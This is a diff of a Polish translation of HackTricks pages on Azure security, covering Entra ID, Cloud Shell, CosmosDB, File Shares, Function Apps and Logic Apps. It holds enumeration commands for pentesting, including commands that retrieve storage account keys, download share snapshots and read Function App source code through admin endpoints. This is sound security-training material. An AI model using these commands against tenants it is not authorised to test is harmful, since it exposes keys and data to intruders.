Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Uzyskaj urządzenia należące do użytkownika
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Uzyskaj jednostki administracyjne urządzenia
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}
> [!WARNING]
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
> Jeśli urządzenie (VM) jest **dołączone do AzureAD**, użytkownicy z AzureAD będą **mogli się zalogować**.\
> Co więcej, jeśli zalogowany użytkownik jest **Właścicielem** urządzenia, będzie **lokalnym administratorem**.
### Administrative Units
### Jednostki administracyjne
For more information about administrative units check:
Aby uzyskać więcej informacji na temat jednostek administracyjnych, sprawdź:
{{#ref}}
../az-basic-information/
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Lista wszystkich jednostek administracyjnych
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Pobierz informacje o AU
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Pobierz członków
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Pobierz głównych użytkowników z rolami w AU
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}
{{#tab name="AzureAD" }}
```bash
# Pobierz jednostki administracyjne
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Pobierz ID jednostki administracyjnej według ciągu
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# Wypisz użytkowników, grupy i urządzenia objęte jednostką administracyjną
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Pobierz role, które użytkownicy mają nad członkami AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Pobierz ID roli i członków roli
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}
## Entra ID Privilege Escalation
## Eskalacja Uprawnień Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Eskalacja Uprawnień Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## Mechanizmy Obronny
### Privileged Identity Management (PIM)
### Zarządzanie Tożsamością Uprzywilejowaną (PIM)
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
Zarządzanie Tożsamością Uprzywilejowaną (PIM) w Azure pomaga w **zapobieganiu nadmiernym uprawnieniom** przydzielanym użytkownikom niepotrzebnie.
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
Note that the user will also be able to ask to **extend** the time.
Jedną z głównych funkcji oferowanych przez PIM jest to, że pozwala na nieprzydzielanie ról do podmiotów, które są stale aktywne, ale czyni je **kwalifikowanymi na określony czas (np. 6 miesięcy)**. Następnie, gdy użytkownik chce aktywować tę rolę, musi o nią poprosić, wskazując czas, na jaki potrzebuje uprawnienia (np. 3 godziny). Następnie **administrator musi zatwierdzić** prośbę.\
Należy zauważyć, że użytkownik będzie również mógł poprosić o **przedłużenie** czasu.
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
Ponadto, **PIM wysyła e-maile** za każdym razem, gdy uprzywilejowana rola jest przydzielana komuś.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
When PIM is enabled it's possible to configure each role with certain requirements like:
Gdy PIM jest włączone, możliwe jest skonfigurowanie każdej roli z określonymi wymaganiami, takimi jak:
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- A lot more configuration on when and who to send notifications when certain actions happen with that role
- Maksymalny czas trwania (godziny) aktywacji
- Wymaganie MFA przy aktywacji
- Wymaganie kontekstu uwierzytelniania dostępu warunkowego
- Wymaganie uzasadnienia przy aktywacji
- Wymaganie informacji o bilecie przy aktywacji
- Wymaganie zatwierdzenia do aktywacji
- Maksymalny czas na wygaśnięcie kwalifikowanych przypisań
- Wiele innych konfiguracji dotyczących tego, kiedy i komu wysyłać powiadomienia, gdy pewne działania mają miejsce z tą rolą
### Conditional Access Policies
### Polityki Dostępu Warunkowego
Check:
Sprawdź:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Entra Identity Protection
### Ochrona Tożsamości Entra
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
Ochrona Tożsamości Entra to usługa zabezpieczeń, która pozwala na **wykrywanie, gdy użytkownik lub logowanie jest zbyt ryzykowne** do zaakceptowania, umożliwiając **zablokowanie** użytkownika lub próby logowania.
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
Pozwala administratorowi skonfigurować ją tak, aby **blokowała** próby, gdy ryzyko wynosi "Niskie i wyższe", "Średnie i wyższe" lub "Wysokie". Chociaż domyślnie jest całkowicie **wyłączona**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
> Obecnie zaleca się dodawanie tych ograniczeń za pomocą polityk dostępu warunkowego, gdzie można skonfigurować te same opcje.
### Entra Password Protection
### Ochrona Hasła Entra
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
It also allows to **ban a custom password list** that you need to provide.
Ochrona Hasła Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja zabezpieczeń, która **pomaga zapobiegać nadużywaniu słabych haseł poprzez blokowanie kont, gdy wystąpi kilka nieudanych prób logowania**.\
Pozwala również na **zabronienie niestandardowej listy haseł**, którą należy dostarczyć.
It can be **applied both** at the cloud level and on-premises Active Directory.
Może być **stosowana zarówno** na poziomie chmury, jak i w lokalnym Active Directory.
The default mode is **Audit**:
Domyślny tryb to **Audyt**:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## Odniesienia
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
@@ -4,28 +4,28 @@
## Azure Cloud Shell
**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB współdzielonego dysku. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.
**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB udostępnionego miejsca. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.
Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.
Nie ma przypisanych uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.
### Kluczowe cechy
**Środowisko**: Azure Cloud Shell zapewnia bezpieczne środowisko, działając na Azure Linux, własnej dystrybucji Linuksa Microsoftu zaprojektowanej dla infrastruktury chmurowej. Wszystkie pakiety zawarte w repozytorium Azure Linux są wewnętrznie kompilowane przez Microsoft, aby chronić przed atakami na łańcuch dostaw.
**Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
**Trwałość $HOME**: Po uruchomieniu Azure Cloud Shell po raz pierwszy, możesz go używać z lub bez podłączonego konta magazynu. Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji. Aby zachować pliki między sesjami, zamontuj konto magazynu, które automatycznie podłącza się jako **$HOME\clouddrive**, z Twoim katalogiem **$HOME** zapisanym jako plik **.img** w Azure File Share. Jednak pliki poza $HOME i stany maszyn nie są zachowywane. Aby bezpiecznie przechowywać sekrety, takie jak klucze SSH, użyj Azure Key Vault.
**Trwałość $HOME**: Podczas pierwszego uruchomienia Azure Cloud Shell możesz używać go z lub bez podłączonego konta magazynowego. Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji. Aby zachować pliki między sesjami, zamontuj konto magazynowe, które automatycznie podłącza się jako **$HOME\clouddrive**, z Twoim katalogiem **$HOME** zapisanym jako plik **.img** w Azure File Share. Jednak pliki poza $HOME i stany maszyn nie są zachowywane. Aby bezpiecznie przechowywać sekrety, takie jak klucze SSH, użyj Azure Key Vault.
**Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku.
**Instalacja niestandardowych narzędzi**: Użytkownicy, którzy skonfigurują Cloud Shell z kontem magazynu, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień administratora. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
**Instalacja niestandardowych narzędzi**: Użytkownicy, którzy konfigurowali Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień administratora. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
## Odniesienia
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Trwałość
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,24 +12,19 @@ Jednym z kluczowych aspektów CosmosDB jest Azure Cosmos Account. **Azure Cosmos
### NoSQL (sql)
API NoSQL Azure Cosmos DB to API oparte na dokumentach, które używa JSON jako formatu danych. Oferuje składnię zapytań podobną do SQL do zapytań obiektów JSON, co czyni je odpowiednim do pracy z danymi strukturalnymi i półstrukturalnymi. Punkt końcowy usługi to:
{% code overflow="wrap" %}
```bash
https://<Account-Name>.documents.azure.com:443/
```
{% endcode %}
#### Bazy danych
W ramach konta możesz utworzyć jedną lub więcej baz danych, które służą jako logiczne grupy kontenerów. Baza danych działa jako granica dla zarządzania zasobami i uprawnieniami użytkowników. Bazy danych mogą dzielić przydzieloną przepustowość między swoimi kontenerami lub przydzielać dedykowaną przepustowość do poszczególnych kontenerów.
W ramach konta możesz utworzyć jedną lub więcej baz danych, które służą jako logiczne grupowania kontenerów. Baza danych działa jako granica dla zarządzania zasobami i uprawnieniami użytkowników. Bazy danych mogą dzielić przydzieloną przepustowość pomiędzy swoimi kontenerami lub przydzielać dedykowaną przepustowość do poszczególnych kontenerów.
#### Kontenery
Podstawową jednostką przechowywania danych jest kontener, który przechowuje dokumenty JSON i jest automatycznie indeksowany w celu efektywnego zapytania. Kontenery są elastycznie skalowalne i rozproszone w obrębie partycji, które są określane przez klucz partycji zdefiniowany przez użytkownika. Klucz partycji jest kluczowy dla zapewnienia optymalnej wydajności i równomiernego rozkładu danych. Na przykład, kontener może przechowywać dane klientów, z "customerId" jako kluczem partycji.
Podstawową jednostką przechowywania danych jest kontener, który przechowuje dokumenty JSON i jest automatycznie indeksowany w celu efektywnego zapytania. Kontenery są elastycznie skalowalne i rozproszone w obrębie partycji, które są określane przez zdefiniowany przez użytkownika klucz partycji. Klucz partycji jest kluczowy dla zapewnienia optymalnej wydajności i równomiernego rozkładu danych. Na przykład, kontener może przechowywać dane klientów, z "customerId" jako kluczem partycji.
#### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name <AccountName> --container-name <Cont
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosD
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### Połączenie
Aby połączyć się z azure-cosmosDB (pip install azure-cosmos), potrzebna jest biblioteka. Dodatkowo punkt końcowy i klucz są kluczowymi komponentami do nawiązania połączenia.
{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -158,11 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
{% endcode %}
Innym sposobem na nawiązanie połączenia jest użycie **DefaultAzureCredential()**. Wystarczy zalogować się (az login) na konto, które ma odpowiednie uprawnienia i je wykonać. W tym przypadku należy przypisać rolę, nadając niezbędne uprawnienia (zobacz więcej)
{% code overflow="wrap" %}
Innym sposobem na nawiązanie połączenia jest użycie **DefaultAzureCredential()**. Wystarczy zalogować się (az login) na konto, które ma odpowiednie uprawnienia i je wykonać. W tym przypadku należy przypisać rolę, nadając niezbędne uprawnienia (zobacz więcej).
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
@@ -187,17 +174,11 @@ item = {
container.create_item(item)
print("Document inserted.")
```
{% endcode %}
### MongoDB
API NoSQL MongoDB to API oparty na dokumentach, który używa formatu danych BSON (Binary JSON) podobnego do JSON. Oferuje język zapytań z możliwościami agregacji, co czyni go odpowiednim do pracy z danymi strukturalnymi, półstrukturalnymi i niestrukturalnymi. Punkt końcowy usługi zazwyczaj ma ten format:
{% code overflow="wrap" %}
```bash
mongodb://<hostname>:<port>/<database>
```
{% endcode %}
#### Bazy danych
W MongoDB możesz utworzyć jedną lub więcej baz danych w ramach instancji. Każda baza danych służy jako logiczna grupa kolekcji i zapewnia granicę dla organizacji i zarządzania zasobami. Bazy danych pomagają oddzielić i zarządzać danymi logicznie, na przykład dla różnych aplikacji lub projektów.
@@ -206,9 +187,8 @@ Podstawową jednostką przechowywania danych w MongoDB jest kolekcja, która zaw
#### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name <AccountName> --resource
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosDB
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGro
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### Połączenie
Tutaj hasło można znaleźć za pomocą kluczy lub metodą opisaną w sekcji privesc.
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -311,32 +287,30 @@ document = {
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
{% endcode %}
## Odniesienia
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## Eskalacja Uprawnień
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-cosmosDB-privesc.md
{{#endref}}
## Po Eksploatacji
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
{{#endref}}
## Do Zrobienia
* Reszta bazy danych tutaj, tabele, cassandra, gremlin...
* Zwróć uwagę na post eksploatacji "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" oraz definicje ról, ponieważ tutaj może być eskalacja uprawnień
* Zwróć uwagę na przywrócenia
* Zobacz post eksploatacji "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" oraz definicje ról, ponieważ tutaj może być eskalacja uprawnień
* Zobacz przywrócenia
@@ -23,15 +23,15 @@
### Obsługiwane uwierzytelnienia przez SMB
- **Uwierzytelnianie AD DS w lokalizacji**: Używa lokalnych poświadczeń Active Directory synchronizowanych z Microsoft Entra ID do dostępu opartego na tożsamości. Wymaga łączności sieciowej z lokalnym AD DS.
- **Uwierzytelnianie Microsoft Entra Domain Services**: Wykorzystuje Microsoft Entra Domain Services (chmurowy AD) do zapewnienia dostępu przy użyciu poświadczeń Microsoft Entra.
- **Uwierzytelnienie AD DS w lokalizacji**: Używa lokalnych poświadczeń Active Directory synchronizowanych z Microsoft Entra ID w celu uzyskania dostępu opartego na tożsamości. Wymaga łączności sieciowej z lokalnym AD DS.
- **Uwierzytelnienie Microsoft Entra Domain Services**: Wykorzystuje Microsoft Entra Domain Services (chmurowy AD) do zapewnienia dostępu przy użyciu poświadczeń Microsoft Entra.
- **Microsoft Entra Kerberos dla tożsamości hybrydowych**: Umożliwia użytkownikom Microsoft Entra uwierzytelnianie udostępnień plików Azure przez internet przy użyciu Kerberos. Obsługuje hybrydowe maszyny wirtualne dołączone do Microsoft Entra lub dołączone do Microsoft Entra bez wymagania łączności z lokalnymi kontrolerami domeny. Nie obsługuje jednak tożsamości wyłącznie chmurowych.
- **Uwierzytelnianie Kerberos AD dla klientów Linux**: Umożliwia klientom Linux korzystanie z Kerberos do uwierzytelniania SMB za pośrednictwem lokalnego AD DS lub Microsoft Entra Domain Services.
- **Uwierzytelnienie AD Kerberos dla klientów Linux**: Umożliwia klientom Linux korzystanie z Kerberos do uwierzytelniania SMB za pośrednictwem lokalnego AD DS lub Microsoft Entra Domain Services.
## Enumeracja
{{#tabs}}
{{#tab name="az cli"}}
{{#tabs }}
{{#tab name="az" }}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -58,9 +58,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
# Download snapshot/backup
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
```
{{#endtab}}
{{#endtab }}
{{#tab name="Az PowerShell"}}
{{#tab name="Az Powershell" }}
```bash
Get-AzStorageAccount
@@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
```
{{#endtab}}
{{#endtabs}}
{{#endtab }}
{{#endtabs }}
> [!NOTE]
> Domyślnie `az` cli użyje klucza konta do podpisania klucza i wykonania akcji. Aby użyć uprawnień głównego identyfikatora Entra ID, użyj parametrów `--auth-mode login --enable-file-backup-request-intent`.
@@ -4,7 +4,7 @@
## Podstawowe informacje
**Azure Function Apps** to **usługa obliczeniowa bezserwerowa**, która pozwala na uruchamianie małych fragmentów kodu, zwanych **funkcjami**, bez zarządzania infrastrukturą. Zostały zaprojektowane do wykonywania kodu w odpowiedzi na różne wyzwalacze, takie jak **żądania HTTP, timery lub zdarzenia z innych usług Azure**, takich jak Blob Storage czy Event Hubs. Function Apps obsługują wiele języków programowania, w tym C#, Python, JavaScript i Java, co czyni je wszechstronnymi do budowania **aplikacji opartych na zdarzeniach**, automatyzacji procesów roboczych lub integracji usług. Są opłacalne, ponieważ zazwyczaj płacisz tylko za czas obliczeniowy użyty podczas uruchamiania kodu.
**Azure Function Apps** to **usługa obliczeniowa bezserwerowa**, która pozwala na uruchamianie małych fragmentów kodu, zwanych **funkcjami**, bez zarządzania infrastrukturą. Zostały zaprojektowane do wykonywania kodu w odpowiedzi na różne wyzwalacze, takie jak **żądania HTTP, timery lub zdarzenia z innych usług Azure**, takich jak Blob Storage czy Event Hubs. Function Apps obsługują wiele języków programowania, w tym C#, Python, JavaScript i Java, co czyni je wszechstronnymi do budowania **aplikacji opartych na zdarzeniach**, automatyzacji procesów roboczych lub integracji usług. Są opłacalne, ponieważ zazwyczaj płacisz tylko za czas obliczeniowy używany podczas uruchamiania kodu.
> [!NOTE]
> Zauważ, że **Funkcje są podzbiorem App Services**, dlatego wiele funkcji omówionych tutaj będzie również używanych przez aplikacje tworzone jako Azure Apps (`webapp` w cli).
@@ -15,7 +15,7 @@
- **Plan Traditional Consumption**: Domyślna opcja bezserwerowa, w której **płacisz tylko za zasoby obliczeniowe, gdy funkcje są uruchamiane**. Automatycznie skaluje się w zależności od nadchodzących zdarzeń i zawiera **optymalizacje zimnego uruchomienia**, ale nie obsługuje wdrożeń kontenerów. Idealny dla **przerywanych obciążeń** wymagających automatycznego skalowania.
- **Plan Premium**: Zaprojektowany dla **spójnej wydajności**, z **wstępnie podgrzanymi pracownikami**, aby wyeliminować zimne uruchomienia. Oferuje **wydłużone czasy wykonania, wirtualne sieci** i obsługuje **niestandardowe obrazy Linux**, co czyni go idealnym dla **aplikacji krytycznych dla misji**, które potrzebują wysokiej wydajności i zaawansowanych funkcji.
- **Plan Dedicated**: Działa na dedykowanych maszynach wirtualnych z **przewidywalnym rozliczeniem** i obsługuje ręczne lub automatyczne skalowanie. Umożliwia uruchamianie wielu aplikacji na tym samym planie, zapewnia **izolację obliczeniową** i zapewnia **bezpieczny dostęp do sieci** za pośrednictwem środowisk App Service, co czyni go idealnym dla **aplikacji długoterminowych** wymagających spójnej alokacji zasobów.
- **Container Apps**: Umożliwia wdrażanie **kontenerowych aplikacji funkcji** w zarządzanym środowisku, obok mikroserwisów i interfejsów API. Obsługuje niestandardowe biblioteki, migrację aplikacji dziedzicznych i **przetwarzanie GPU**, eliminując zarządzanie klastrami Kubernetes. Idealny dla **opartych na zdarzeniach, skalowalnych aplikacji kontenerowych**.
- **Container Apps**: Umożliwia wdrażanie **kontenerowych aplikacji funkcji** w zarządzanym środowisku, obok mikroserwisów i interfejsów API. Obsługuje niestandardowe biblioteki, migrację aplikacji dziedziczonych i **przetwarzanie GPU**, eliminując zarządzanie klastrami Kubernetes. Idealny dla **opartych na zdarzeniach, skalowalnych aplikacji kontenerowych**.
### **Koszyki pamięci**
@@ -104,7 +104,7 @@ az-app-services.md
### Wdrożenia oparte na Githubie
Gdy funkcja jest generowana z repozytorium Github, konsola internetowa Azure pozwala na **automatyczne utworzenie Workflow Github w określonym repozytorium**, więc za każdym razem, gdy to repozytorium jest aktualizowane, kod funkcji jest aktualizowany. W rzeczywistości YAML akcji Github dla funkcji w Pythonie wygląda tak:
Gdy funkcja jest generowana z repozytorium Github, konsola internetowa Azure pozwala na **automatyczne utworzenie Workflow Github w określonym repozytorium**, więc za każdym razem, gdy to repozytorium jest aktualizowane, kod funkcji jest aktualizowany. W rzeczywistości YAML akcji Github dla funkcji python wygląda tak:
<details>
@@ -205,9 +205,8 @@ Ponadto, **żaden kod źródłowy nie będzie przechowywany w koncie** magazynow
## Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all the functions
az functionapp list
@@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.Functions
@@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## Eskalacja Uprawnień
@@ -35,7 +35,7 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741
Istnieje kilka opcji hostingu:
* **Konsumpcja**
- **Wielu najemców**: zapewnia współdzielone zasoby obliczeniowe, działa w chmurze publicznej i stosuje model cenowy płatności za operację. Jest to idealne dla lekkich i opłacalnych obciążeń.
